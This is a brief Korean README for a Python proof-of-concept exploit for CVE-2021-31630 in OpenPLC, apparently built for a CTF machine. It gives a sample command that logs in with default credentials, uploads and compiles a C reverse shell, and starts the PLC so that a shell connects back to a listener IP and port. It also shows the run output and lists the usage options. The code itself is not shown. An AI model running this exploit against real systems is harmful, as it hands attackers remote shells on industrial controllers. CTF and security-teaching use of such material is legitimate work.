
CVE-2021-31630용 POC Exploit으로, Python3로 작성되었으며 non-blocking 모드의 C reverse shell을 사용합니다.
이 익스플로잇은 Fellipe Oliveira가 만든 Exploit-DB의 익스플로잇을 기반으로 합니다.
└─# python3 custom_exploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888
[*] Authenticated.
[*] C file uploaded. Waiting for compilation.
[*] Compiled, probably.
[*] Started PLC, you should get your reverse shell now.
[*] Stopped PLC.
python3 exploit.py --url <> --username <> --password <> --listenerip <> --listenerport <>
옵션:
--url - OpenPLC의 URL--username - 사용자 이름--password - 비밀번호--listenerip - 리스너의 IP 주소--listenerport - 리스너의 포트참고: 이 익스플로잇은 PoC로 작성되었습니다. 교육 목적 또는 CTF에서만 사용하세요 - https://flojboj.org/article/WifineticTwo